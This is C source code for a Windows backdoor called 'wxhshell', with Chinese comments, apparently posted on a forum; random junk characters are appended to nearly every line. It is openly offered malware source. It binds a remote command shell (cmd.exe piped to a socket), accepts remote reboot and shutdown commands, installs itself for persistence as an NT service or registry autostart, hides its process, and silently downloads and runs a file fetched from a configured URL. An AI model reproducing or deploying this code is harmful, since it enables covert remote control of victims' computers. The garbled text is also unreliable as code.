  // 帮助 Z!LzyCVl  
  case '?': { V :d/;~  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); prIq9U|@  
    break; P d*}0a~  
  } Z [68ji]  
  // 安装 W=F?+Kg L  
  case 'i': { "* 'rzd  
    if(Install()) H~x0-q<8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !aLByMA  
    else RsTpjY*Xb  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9;h 1;9sC|  
    break; ^0X86  
    } pjbKMx  
  // 卸载 XUW~8P  
  case 'r': { m#%5H  
    if(Uninstall()) $R7d*\(G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k`\DC\0RG  
    else eN}FBX#'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .>CqZN,^  
    break; V4V TP]'n  
    } $XT&8%|*7  
  // 显示 wxhshell 所在路径 /\#qz.c2K  
  case 'p': { &?zJ|7rh@|  
    char svExeFile[MAX_PATH]; ;y"E}h  
    strcpy(svExeFile,"\n\r"); d/R:-{J)c  
      strcat(svExeFile,ExeFile); ]IyC  
        send(wsh,svExeFile,strlen(svExeFile),0); mE^6Zu  
    break; QdDdrR^&  
    } hnE@+(d=qJ  
  // 重启 M=0I 3o}J  
  case 'b': { 3+n&Ya1  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); n:k~\-&WJ  
    if(Boot(REBOOT)) k}jH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); of{wZU\J+9  
    else { m$[ \(Z(/  
    closesocket(wsh); Qj 0@^LA  
    ExitThread(0); '1.T-.4>&  
    } UN,@K9  
    break; NSM-p.I9  
    } ~>#=$#V   
  // 关机 UXIq>[2Z1  
  case 'd': { M-|4cd]6  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]9A9q<lZ  
    if(Boot(SHUTDOWN)) b/O~f8t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %&z9^}Vd[  
    else { &x;v&  
    closesocket(wsh); jsi\*5=9p<  
    ExitThread(0); =b9?r  
    } i~l0XjQbs  
    break; Z8nNZ<k  
    } ,|T   
  // 获取shell W@pVP4F0xM  
  case 's': { Dc BTW+  
    CmdShell(wsh); Y.Gr(]tk  
    closesocket(wsh); WERK JA  
    ExitThread(0); atW;S99#  
    break; )v ['p  
  } B6=8cf"i  
  // 退出  '+'  
  case 'x': { *qKwu?]?>  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); JH<q7Y6!y  
    CloseIt(wsh); E!3W_:Bs  
    break; BnAia3z  
    } =%$ _)=}J  
  // 离开 j: ]/AReOL  
  case 'q': { "R):B~8|H{  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); \{NeDv{A  
    closesocket(wsh); wf8vKl#Kfw  
    WSACleanup(); $Ce`(/  
    exit(1); i"|'p/9@q  
    break; ~v+& ?dg  
        } MLa]s* ; d  
  } n;O 3.2  
  } VbA#D4;  
$@Hw DRP  
  // 提示信息 sV3/8W13  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1Pn!{ bU3@  
} i,* DWD+  
  } V^?+|8_(  
#T !YFMh;  
  return; %{o5 }TqD  
} OEZXV ;F  
zif()i   
// shell模块句柄 +J.^JXyp0  
int CmdShell(SOCKET sock) =EV8~hMyqh  
{ b4,yLVi<T  
STARTUPINFO si; \n+`~< i  
ZeroMemory(&si,sizeof(si)); =B;rj  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &/a/V  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; a=C?fh  
PROCESS_INFORMATION ProcessInfo; S }fIZ1  
char cmdline[]="cmd"; ,uDB ]  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); E%/E%9-7\  
  return 0;  !X |Tf  
} @bD,^3U  
Lqwc:%Y:_  
// 自身启动模式 F+c*v#T  
int StartFromService(void) Q,)G_lO  
{ #?8'Z/1 )  
typedef struct gzl_  "j  
{ NV*t  
  DWORD ExitStatus; [&)9|EV  
  DWORD PebBaseAddress; K$f~Fft  
  DWORD AffinityMask; lC^q}Bh:  
  DWORD BasePriority; %Ix^Xb0  
  ULONG UniqueProcessId; *3. ]  
  ULONG InheritedFromUniqueProcessId; !U=;e?o  
}   PROCESS_BASIC_INFORMATION; qItj`F)d  
mezP"N=L~  
PROCNTQSIP NtQueryInformationProcess; `[Z?&'CRQ  
W}JJaZR*X  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; zXp{9P\c  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Sh{odrMj*  
9SMM%(3, r  
  HANDLE             hProcess; %o*afd  
  PROCESS_BASIC_INFORMATION pbi; a-8~f8na{(  
5?6 ATP:[  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); h*d&2>"0m?  
  if(NULL == hInst ) return 0; Rp9uUJ 6o  
nD E5A  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");  rd. "mG.  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); hb^e2@i;Oq  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); C.(<KV{b  
>(d+E\!A  
  if (!NtQueryInformationProcess) return 0; Z#^2F8,]  
&S c0l/  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .RoO 6:T6  
  if(!hProcess) return 0; 31J7# S2  
;jI\MZ~l\  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; C^l) n!fq  
*4=Fy:R]O  
  CloseHandle(hProcess); +h*&r ~T  
sm\/wlbE  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); aJIj%Y$  
if(hProcess==NULL) return 0; +.[#C5  
WET $H,  
HMODULE hMod; $c  f?`k  
char procName[255]; AGOK%[[Ws  
unsigned long cbNeeded; u4fTC})4{C  
P,tN;c  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); zKgW9j<(  
~5]AXi'e~  
  CloseHandle(hProcess); d|DIq T~{W  
b\H(Lq17  
if(strstr(procName,"services")) return 1; // 以服务启动 QT^( oog=  
;41s&~eR  
  return 0; // 注册表启动 pmHd1 Wub  
} vad" N  
7|65;jm+  
// 主模块 {`l]RIig  
int StartWxhshell(LPSTR lpCmdLine) ;#f_e;  
{ ^<sX^V+{  
  SOCKET wsl; KAEf4/  
BOOL val=TRUE; zCPjuS/~ Q  
  int port=0; $m{\<A  
  struct sockaddr_in door; =oiY'}%(i  
-cIc&5CS  
  if(wscfg.ws_autoins) Install(); F-_RL-hbN%  
XwlUkw "q  
port=atoi(lpCmdLine); cDE?Xo'!  
TSE(Kt  
if(port<=0) port=wscfg.ws_port; QF-.")Z  
`1pri0!  
  WSADATA data; .8.ivfmJh  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; REFisH-  
X2sK<Qluql  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   RAf+%h*  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); zXVQLz5  
  door.sin_family = AF_INET; a$;+-Y  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); `Gsh<.w!7  
  door.sin_port = htons(port); u%ih7v!r\  
]l+2Ca:-[j  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { tDIzn`$ z  
closesocket(wsl); 'fK_J}+P  
return 1; ^{Syg;F=  
} oqE h_[.  
!?Ow"i-lp  
  if(listen(wsl,2) == INVALID_SOCKET) { {n.g7S~  
closesocket(wsl); B%'Np7  
return 1; UPJgTN*  
} & qd:o}  
  Wxhshell(wsl);  ocL  
  WSACleanup(); aY3kww`  
;'p0"\SV  
return 0; Lg9ktRKK  
`{tykYwCLc  
} -Ca.:zX  
TzX>d<x  
// 以NT服务方式启动 _>3GNvS  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) '7_'s1  
{ o"'VI4  
DWORD   status = 0; |,}QhR  
  DWORD   specificError = 0xfffffff; ts9N$?0:V  
_L# Tp  
  serviceStatus.dwServiceType     = SERVICE_WIN32; /a9+R)Al  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; vLpE|QZs  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; fI}-?@  
  serviceStatus.dwWin32ExitCode     = 0; M~ *E!  
  serviceStatus.dwServiceSpecificExitCode = 0; 5HOhk"  
  serviceStatus.dwCheckPoint       = 0; X>*zA?:  
  serviceStatus.dwWaitHint       = 0; O\G%rp L$w  
p8F|]6Z  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); [~jh Ov^  
  if (hServiceStatusHandle==0) return; %J+$p\c  
9rA3qj%  
status = GetLastError(); ^Jc~G~x4*  
  if (status!=NO_ERROR) k^ZUOWmU|  
{ e@ F& /c  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; u6B (f;  
    serviceStatus.dwCheckPoint       = 0; ZE}m\|$  
    serviceStatus.dwWaitHint       = 0; S6]D;c8GE  
    serviceStatus.dwWin32ExitCode     = status; )FU4iN)ei  
    serviceStatus.dwServiceSpecificExitCode = specificError; U ][.ioc  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); )Hev -C"  
    return; o8Bo%OjE  
  } O`@$YXuD  
c~$ipX   
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; CQv [Od  
  serviceStatus.dwCheckPoint       = 0; Tri.>@-u  
  serviceStatus.dwWaitHint       = 0; v,>q]! |a  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); \&e+f#!u  
} 8<_WtDg  
fcV/co_S6  
// 处理NT服务事件,比如:启动、停止 jh g!K.A  
VOID WINAPI NTServiceHandler(DWORD fdwControl) _@"Y3Lqi  
{ }n:-nB4  
switch(fdwControl) yM#W,@  
{ Sb,{+Wk  
case SERVICE_CONTROL_STOP: TFM}P  
  serviceStatus.dwWin32ExitCode = 0; *[vf47)r!  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; '{7A1yJnY%  
  serviceStatus.dwCheckPoint   = 0; mTs[3opg  
  serviceStatus.dwWaitHint     = 0; y()#FRp7  
  { h\.UUC&<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2;kab^iv'  
  } 071w o7  
  return; &/7GhZRt  
case SERVICE_CONTROL_PAUSE: ly^F?.e-  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; lezdJ  
  break; _L: /2  
case SERVICE_CONTROL_CONTINUE: LW2Sko?Yo  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 2b3*zB*@V  
  break; c)$/Uu  
case SERVICE_CONTROL_INTERROGATE: Hq%`DWus\  
  break; Dnd  
}; R'9TD=qEK  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); b LxV  
} 1F$a My?  
KUly"B  
// 标准应用程序主函数 SSH/q/  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) "ENgu/A!  
{ hl# 9a?  
[[bMYD1eO  
// 获取操作系统版本 2+Fq'!  
OsIsNt=GetOsVer(); O^e !<bBd  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7p~@S4  
AS8T!  
  // 从命令行安装 ]cA){^.Jz  
  if(strpbrk(lpCmdLine,"iI")) Install(); !Ug J^v  
ETtK%%F0  
  // 下载执行文件 ;APg!5X  
if(wscfg.ws_downexe) { g0iV#i  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) zlXkD~GV  
  WinExec(wscfg.ws_filenam,SW_HIDE); >j$f$*x  
} |5Z@7  
"5>p]u>  
if(!OsIsNt) { qkR.{?x  
// 如果时win9x,隐藏进程并且设置为注册表启动 ^@tn+'.  
HideProc(); KH@M & >=^  
StartWxhshell(lpCmdLine); xXHz)w  
} o+q 5:vJt  
else Z0-W%W  
  if(StartFromService()) fTH?t_e  
  // 以服务方式启动 X?1 :Z|pJ  
  StartServiceCtrlDispatcher(DispatchTable); QtX ->6P>  
else m_St"`6 .  
  // 普通方式启动 u2!8'-Ai  
  StartWxhshell(lpCmdLine); ss-Be  
tfdP#1E  
return 0; P= S)V   
}
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只看该作者 1 发表于: 2006-10-10
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